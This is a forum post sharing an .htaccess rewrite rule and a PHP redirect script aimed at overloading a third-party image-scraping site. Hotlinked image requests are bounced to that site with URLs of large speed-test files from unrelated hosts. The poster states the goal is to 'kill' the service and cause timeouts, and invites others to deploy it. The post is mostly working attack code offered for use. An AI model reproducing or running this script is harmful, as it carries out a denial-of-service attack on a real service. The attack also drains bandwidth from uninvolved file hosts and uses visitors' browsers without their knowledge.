Anti-Fusker Thread

[Mr. Stiff]

johnnybg's post about redirecting to fusker itself has inspired me..
I think I have found a way to kill fusker..

.htaccess

RewriteEngine on
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^http(s)?://(www\.)?YOURDOMAIN.COM [NC]
RewriteRule \.(jpg|jpeg|png|gif)$ http://www.YOURDOMAIN.COM/fuckser.php [NC,R,L]

fuckser.php

<?php
$payloads = array(	"http://speed.mirror.sptel.com.au/10mb.dat",
					"http://www.truong-is.nl/speedtest/10mb.bin",
					"http://subscribers.aroundcarolina.com/bigtest.xyz",
					"http://www.ayksolutions.com/speedtest/10meg.file",
					"http://comxnet.dk/speed/1MB.bin",
					"http://speedtest.multikabel.net/10mb.bin",
					"http://ns0.multikabel.net/10mb.bin");

$kick = $payloads[rand(0,(count($payloads)-1))];
$url = "http://fusker.lewww.com/index.php?url=".urlencode($kick)."&method=images";
header("Location: $url");

?>

Place fuckser.php in your webroot (or any subdir). You can expand the array with more URL's, anything big will do (.exe, .zip, etc)

This code assumes the user fuskering your gallery is logged in. It will send a request to fusker.lewww.com to download one of those big files.

It seems Fusker doesn't check if the page actually is a HTML page..

Do with this what you like, but if you decide to use it.. Let me know, would see to see 'request timeout' on fusker